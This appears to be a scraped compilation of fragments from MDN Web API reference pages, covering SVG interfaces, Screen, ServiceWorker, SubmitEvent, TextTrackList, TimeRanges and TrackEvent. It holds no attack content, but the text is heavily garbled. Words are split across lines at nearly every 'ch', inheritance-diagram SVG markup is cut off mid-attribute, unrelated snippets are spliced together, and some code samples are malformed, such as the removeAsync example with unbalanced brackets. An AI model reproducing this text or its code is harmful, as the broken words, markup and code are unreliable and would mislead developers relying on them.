chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfespotlightelement" target="_top"><rect x="271" y="65" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="midd...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfespotlightelement' in that specification.
SVGFETileElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfetileelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
... working draft no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfetileelement' in that specification.
SVGForeignObjectElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">sv...
...="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgforeignobjectelement" target="_top"><rect x="31" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="146" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgforeignobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, svggraphicselement and implements properties from svgurireference.
SVGGradientElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggradientelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
...it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
SVGMarkerElement - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
...it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
... browser compatibility desktop mobile
chrome edge firefox internet explorer opera safari android webview
chrome for android firefox for android opera for android safari on ios samsung internet svgmarkerelement
chrome ...
...
chrome android ?
SVGMetadataElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgmetadataelement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle"...
... candidate recommendation no
change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmetadataelement' in that specification.
SVGPathSeg - Web APIs
it is invalid to attempt to define a new value of this type or to attempt to swit
ch an existing value to this type.
... pathsegtypeasletter domstring the type of the path segment as specified by the corresponding one
character command name.
... browser compatibility desktop mobile
chrome edge firefox internet explorer opera safari android webview
chrome for android firefox for android opera for android safari on ios samsung internet svgpathseg
chrome ?
...
chrome android ?
SVGPointList - Web APIs
an svgpointlist object can be designated as read only, whi
ch means that attempts to modify the object will result in an exception being thrown.
...any
changes made to the item are immediately reflected in the list.
... browser compatibility desktop mobile
chrome edge firefox internet explorer opera safari android webview
chrome for android firefox for android opera for android safari on ios samsung internet svgpointlist
chrome ?
...
chrome android ?
SVGScriptElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgscriptelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
...a domexception is raised with the code no_modification_allowed_err on an attempt to
change the value of a read only attribut.
SVGStylable - Web APIs
the returned object is live;
changes to the objects represent immediate
changes to the objects to whi
ch the cssvalue is atta
ched.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgstylable
chrome ?
... webview android no support no
chrome android ?
SVGSymbolElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgsymbolelement" target="_top"><rect x="321" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">s...
... candidate recommendation
changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable.
SVGTransformable - Web APIs
svg transformable interface interface svgtransformable contains properties and methods that apply to all elements whi
ch have attribute transform.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvgtransformable
chrome ?
... webview android no support no
chrome android ?
Screen.availHeight - Web APIs
you can similarly use screen.availwidth to get the number of pixels whi
ch are horizontally available to the browser for its use.
... for instance, on a mac whose dock is located at the bottom of screen (whi
ch is the default), the value of availheight is approximately the value of height (the total height of the screen in css pixels) minus the heights of the dock and menu bar, as seen in the diagram below.
... example if your web application needs to open a new window, su
ch as a tool palette whi
ch can contain multiple panels, and wants to position it so that it occupies the entire vertical space available, you can do so using code similar to what's seen here.
... let palettewindow = window.open("panels.html", "panels", "left=0, top=0, width=200"); the panels window's html, in panels.html, has javascript code of its own, whi
ch is executed as soon as the window is created.
ScrollToOptions.behavior - Web APIs
this is actually defined on the scrolloptions dictionary, whi
ch is implemented by scrolltooptions.
... syntax behavior: scrollbehavior value an enum, the value of whi
ch can be one of the following: smooth: the scrolling animates smoothly.
...the positions to scroll to along the x and y axes), and a
checkbox indicating whether they want smooth scrolling enabled or not.
... when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.preventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.
checked ?
ServiceWorkerRegistration.showNotification() - Web APIs
badge: a usvstring containing the url of an image to represent the notification when there is not enough space to display the notification itself su
ch as for example, the android notification bar.
...if this value is absent or false, the desktop version of
chrome will auto-minimize notifications after approximately twenty seconds.
...it can be used to indicate the time at whi
ch a notification is actual.
...buzz!', icon: '../images/tou
ch/
chrome-tou
ch-icon-192x192.png', vibrate: [200, 100, 200, 100, 200, 100, 200], tag: 'vibration-sample' }); }); } }); } to invoke the above function at an appropriate time, you could use the serviceworkerglobalscope.onnotificationclick event handler.
SharedWorkerGlobalScope - Web APIs
sharedworkerglobalscope.applicationca
che read only this property returns the applicationca
che object for the worker (see using the application ca
che).
... workerglobalscope.performance read only returns the performance object associated with the worker, whi
ch is a regular performance object, but with a subset of its properties and methods available.
...for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data whi
ch has been encoded using base-64 encoding.
... windowtimers.setinterval() s
chedules the execution of a function every x milliseconds.
SourceBuffer.removeAsync() - Web APIs
the removeasync() method of the sourcebuffer interface starts the process of asyn
chronously removing from the sourcebuffer media segments found within a specific time range.
... a promise is returned, whi
ch is fulfilled when the buffers in the specified time range have been removed.
... example this example establishes an asyn
chronous function, emptysourcebuffer(), whi
ch simply clears the contents of the specified sourcebuffer.
... async function emptysourcebuffer(msbuffer) { await msbuffer.removeasync(0, infinity).cat
ch(function(e) { handleexception(e); } } specifications not currently part of the mse specification.
StereoPannerNode.StereoPannerNode() - Web APIs
the stereopannernode() constructor of the web audio api creates a new stereopannernode object whi
ch is an audionode that represents a simple stereo panner node that can be used to pan an audio stream left or right.
...if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetstereopannernode() constructor
chrome full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.edge full support ≤79firefox full support 53ie no support noopera full support 42safari no support nowebview android full support 55notes ...
... full support 55notes notes before
chrome 59, the default values were not supported.
chrome android full support 55notes full support 55notes notes before
chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios no support nosamsung internet android full support 6.0notes full support 6.0notes notes before samsung internet 7.0, the default values were not supported.legend ...
Using the Storage Access API - Web APIs
since embedded content won’t know whi
ch storage policy is in use by the user, it’s best to always
check whether the embedded frame has storage access before attempting to read or write from storage.
...if that call returns false, we can then call document.requeststorageaccess(), returning the result so that then we can
chain it onto the previous promise call.
... // let's access some items from the first-party cookie jar document.cookie = "foo=bar"; // set a cookie localstorage.setitem("username", "john"); // access a localstorage entry }).cat
ch(_ => { // error obtaining storage access.
... }); note that access requests are automatically denied unless the embedded content is currently processing a user gesture su
ch as a tap or click — so this code needs to be run inside some kind of user gesture-based event handler, for example: btn.addeventlistener('click', () => { // run code here }); ...
SubmitEvent.submitter - Web APIs
while this is often an <input> element whose type or a <button> whose type is submit, it could be some other element whi
ch has initiated a submission process.
... examples in this example, a shopping cart may have an assortment of different submit buttons depending on factors su
ch as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
... ea
ch of the submit elements' id is used to identify whi
ch payment processor the button corresponds to.
...please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from whi
ch we then get the id.
SubmitEvent - Web APIs
submitter read only an htmlelement object whi
ch identifies the button or other element whi
ch was invoked to trigger the form being submitted.
... examples in this example, a shopping cart may have an assortment of different submit buttons depending on factors su
ch as the user's settings, the shop's settings, and any minimum or maximum shopping card totals established by the payment processors.
... ea
ch of the submit elements' id is used to identify whi
ch payment processor the button corresponds to.
...please try again.", "ok"); } }); the handler id is obtained by using the submit event's submitter property to get the submit button, from whi
ch we then get the id.
SyncEvent - Web APIs
the syncevent interface represents a sync action that is dispat
ched on the serviceworkerglobalscope of a serviceworker.
...ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/extendableevent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="conso...
...las,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">extendableevent</text></a><polyline points="266,25 276,20 276,30 266,25" stroke="#d4dde4" fill="none"/><line x1="276" y1="25" x2="306" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/syncevent" target="_top"><rect x="306" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="351" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">syncevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor syncevent.syncevent() creates a new syncevent object.
... syncevent.last
chance read only returns true if the user agent will not make further syn
chronization attempts after the current attempt.
TextDecoder.prototype.encoding - Web APIs
the legacy multi-byte
chinese (simplified) encodings: 'gbk', 'gb18030', and 'hz-gb-2312'.
... the legacy multi-byte
chinese (traditional) encoding: 'big5'.
... a special encoding, 'replacement', whi
ch only emits an error and an eof code point.
... it is used to prevent attacks that mismat
ch encodings between the client and server.
getTrackById() - Web APIs
the texttracklist method gettrackbyid() returns the first texttrack object from the track list whose id mat
ches the specified string.
... return value a texttrack object indicating the first track found within the texttracklist whose id mat
ches the specified string.
... if no mat
ch is found, this method returns null.
... the tracks are sear
ched in their natural order; that is, in the order defined by the media resource itself, or, if the resource doesn't define an order, the relative order in whi
ch the tracks are declared by the media resource.
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an event handler whi
ch is called when the addtrack event occurs, indicating that a new text track has been added to the media element whose text tracks the texttracklist represents.
... syntax texttracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object whi
ch indicates in its track property whi
ch video track has been added to the media.
...this happens when tracks are added to the element when the media is first atta
ched to the element; one addtrack event will occur for ea
ch video track in the media resource.
...in this scenario, that function's role is to add the new track to a list of video tracks available to
choose from.
TimeEvent - Web APIs
ow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/timeevent" target="_top"><rect x="116" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="161" y="30" font-size="12px" font-family="consolas,...
...monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">timeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties timeevent.detail read only is a long that specifies some detail information about the event, depending on the type of the event.
... timeevent.view read only is a windowproxy that identifies the window from whi
ch the event was generated.
...this method may only be called before the timeevent has been dispat
ched via the dispat
chevent method, though it may be called multiple times during that phase if necessary.
TimeRanges - Web APIs
the timeranges interface is used to represent a set of time ranges, primarily for the purpose of tracking whi
ch portions of media have been buffered when loading it for use by the <audio> and <video> elements.
... a timeranges object includes one or more ranges of time, ea
ch specified by a starting and ending time offset.
... you reference ea
ch time range by using the start() and end() methods, passing the index number of the time range you want to retrieve.
... the term "normalized timeranges object" indicates that ranges in su
ch an object are ordered, don't overlap, aren't empty, and don't tou
ch (adjacent ranges are folded into one bigger range).
msManipulationViewsEnabled - Web APIs
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... the msmanipulationviewsenabled read-only property returns true if manipulation features are support available, su
ch as tou
ch panning and zooming using css rules.
... value returns true if manipulation features are support available, su
ch as tou
ch panning and zooming using css rules.
... example using a json file: { msmanipulationviewsenabled: true, } see also tou
ch api microsoft api extensions ...
TrackEvent - Web APIs
the trackevent interface, whi
ch is part of the html dom specification, is used for events whi
ch represent
changes to a set of available tracks on an html media element; these events are addtrack and removetrack.
... it's important not to confuse trackevent with the rtctrackevent interface, whi
ch is used for tracks whi
ch are part of an rtcpeerconnection.
... example this example sets up a function, handletrackevent(), whi
ch is callled for any addtrack or removetrack event on the first <video> element found in the document.
...acks.addeventlistener("removetrack", handletrackevent, false); function handletrackevent(event) { var trackkind; if (event.target instanceof(videotracklist)) { trackkind = "video"; } else if (event.target instanceof(audiotracklist)) { trackkind = "audio"; } else if (event.target instanceof(texttracklist)) { trackkind = "text"; } else { trackkind = "unknown"; } swit
ch(event.type) { case "addtrack": console.log("added a " + trackkind + " track"); break; case "removetrack": console.log("removed a " + trackkind + " track"); break; } } the event handler uses the javascript instanceof operator to determine whi
ch type of track the event occurred on, then outputs to console a message indicating what kind of track it is and whether ...
